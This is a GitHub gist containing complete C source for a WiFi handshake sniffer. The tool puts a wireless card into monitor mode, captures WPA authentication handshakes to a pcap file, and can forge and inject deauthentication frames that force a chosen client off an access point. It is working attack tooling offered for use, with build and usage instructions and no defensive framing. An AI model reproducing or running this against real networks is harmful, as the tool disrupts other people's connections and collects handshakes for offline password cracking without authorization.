Skip to content

Instantly share code, notes, and snippets.

@idimiter
Last active August 23, 2019 16:55
Show Gist options
  • Save idimiter/8b1f3d5904a054e2815b25040ac46d7a to your computer and use it in GitHub Desktop.
Save idimiter/8b1f3d5904a054e2815b25040ac46d7a to your computer and use it in GitHub Desktop.
WiFi handshake sniffer
/**
* WiFi handshake sniffer v 0.5b
*
* Author: Dimitar T. Dimitrov
* Sofia, Bulgaria 2016
* Under MIT License
*
* gcc sniff.c -lpcap -o sniff
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <pcap.h>
#define DEFAULT_FILTER "ether proto 0x888e or (type mgt subtype beacon)" // Beacon or Authentication
#define MAX_STRING_SIZE 512
int NUM_PACKETS = -1; // -1 for Infinite
char errbuf[PCAP_ERRBUF_SIZE];
pcap_t *pcap = NULL;
pcap_dumper_t *dumpfile;
int has_dump = 0;
int has_deauth = 0;
int wait_for_handshake = 0;
int packets_recieved = 0;
int handshakes_recieved = 0;
unsigned int bytes_recieved = 0;
char filter[512];
// 49 bytes
const char* DEAUTH_REQ = "\x00\x00\x19\x00\x6f\x08\x00\x00\xca\x02\x0c\x22\x00\x00\x00\x00\x10\x02\x94\x09\x80\x04\xda\xa8\x00" // Radiotap header 25 bytes
"\xa0\x00" // Disassociate
"\x00\x01" // Duration
"\xff\xff\xff\xff\xff\xff" // Destination address (AP) 6 bytes
"\xff\xff\xff\xff\xff\xff" // Source address (iPhone) 6 bytes
"\xff\xff\xff\xff\xff\xff" // BSSID address (AP) 6 bytes
"\x50\x04"; //Sequence number
int deauth(const char *ap, const char *device)
{
char buf[49];
memcpy(buf, DEAUTH_REQ, 49);
memcpy(buf + 29, ap, 6); // Destination
memcpy(buf + 35, device, 6); // Source
memcpy(buf + 41, ap, 6); // BSSID
for(int i = 0; i < 1; i++) {
if(pcap_sendpacket(pcap, (const unsigned char *) buf, 49 ) < 0)
return(EXIT_FAILURE);
//usleep(2000);
}
return EXIT_SUCCESS;
}
void set_monitor(const char* dev)
{
int status;
struct bpf_program fp;
pcap = pcap_create(dev, errbuf);
if (pcap == NULL)
{
fprintf(stderr, "Error: %s\n", errbuf);
exit(EXIT_FAILURE);
}
pcap_set_rfmon(pcap, 1);
pcap_set_snaplen(pcap, 2048);
pcap_set_promisc(pcap, 1);
pcap_set_timeout(pcap, 512);
status = pcap_activate(pcap);
if (strlen(filter) > 0)
{
printf("Filter is: %s\n", filter);
if (status == 0)
status = pcap_compile(pcap, &fp, filter, 0, 0);
if (status == 0)
status = pcap_setfilter(pcap, &fp);
if (status != 0)
{
pcap_perror(pcap, 0);
pcap_close(pcap);
exit(EXIT_FAILURE);
}
}
}
void update(unsigned char *dumpfile, const struct pcap_pkthdr *header, const unsigned char *packet)
{
if (packet != NULL) {
// Dirty and ugly check if its a Authentication
if (header->len > 58)
{
u_int16_t type = (u_int16_t)(packet[57] << 8 | packet[58]);
if (type == 0x888e) // is Auth
{
handshakes_recieved++;
printf("\a"); // Beep
// system("say -v Boing 'handshake'"); // Mac fun :-)
}
}
if (dumpfile != NULL)
{
if (wait_for_handshake && handshakes_recieved > 0)
pcap_dump(dumpfile, header, packet);
else
pcap_dump(dumpfile, header, packet);
}
bytes_recieved += header->len;
printf("\rPackets: %d (%d bytes), Handshakes: %d", ++packets_recieved, bytes_recieved, handshakes_recieved / 4);
fflush(stdout);
} else
printf("Empty packet!\n");
}
int main(int ac, char **av)
{
int c;
char *dump_filename;
u_int8_t bssid[6];
u_int8_t mac[6];
strncpy(filter, DEFAULT_FILTER, MAX_STRING_SIZE);
while ((c = getopt(ac, av, "d:n:k:f:w")) != -1)
{
switch (c)
{
case 'd':
has_dump = 1;
dump_filename = optarg;
break;
case 'w':
wait_for_handshake = 1;
break;
case 'f':
if (optarg[0] == 'n')
filter[0] = 0;
else
strncpy(filter, optarg, MAX_STRING_SIZE);
break;
case 'n':
NUM_PACKETS = atoi(optarg);
break;
case 'k':
if (sscanf(optarg, "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx-%hhx:%hhx:%hhx:%hhx:%hhx:%hhx",
&bssid[0], &bssid[1], &bssid[2], &bssid[3], &bssid[4], &bssid[5],
&mac[0], &mac[1], &mac[2], &mac[3], &mac[4], &mac[5]) != 12) {
fprintf(stderr, "Inorrect ADDRESS!\n");
return EXIT_FAILURE;
}
has_deauth = 1;
break;
}
}
if (optind >= ac) {
printf("usage: %s [OPTIONS] interface\n", av[0]);
printf("OPTIONS:\n\t\t"
"-d <dumpfile>\t\t\tFile to dump the packets to\n"
"\t\t-k <BSSID>-<Client MAC>\t\tSend deauth packet from bssid to client\n"
"\t\t-f <'packet filter'>\t\tFilter or use -fn to remove the default filter\n"
"\t\t-w \t\t\t\tWait for a valid handshake before start dumping\n"
"\t\t-n <number>\t\t\tNumber of packets to capture (Default is -1, infinite)\n");
printf("\nExample:\n\twsniff -d dump.pcap -n 1000 -k 11:22:33:44:55:66-77:88:99:aa:bb:cc -f 'ether proto 0x888e or (type mgt subtype beacon)' en1\n");
return 0;
}
printf("Monitoring on %s...\n", av[optind]);
set_monitor(av[optind]);
if (has_deauth)
printf("Sending deauth: %s\n", deauth((const char *)bssid, (const char *)mac)==0?"OK":"Error");
if (has_dump) {
printf("Dumping to: %s\n", dump_filename);
dumpfile = pcap_dump_open(pcap, dump_filename);
if (dumpfile == NULL) {
fprintf(stderr,"\nError opening output file\n");
return EXIT_FAILURE;
}
}
pcap_loop(pcap, NUM_PACKETS, update, (unsigned char *)dumpfile);
if (has_dump)
pcap_dump_close(dumpfile);
pcap_close(pcap);
printf("\n");
return EXIT_SUCCESS;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment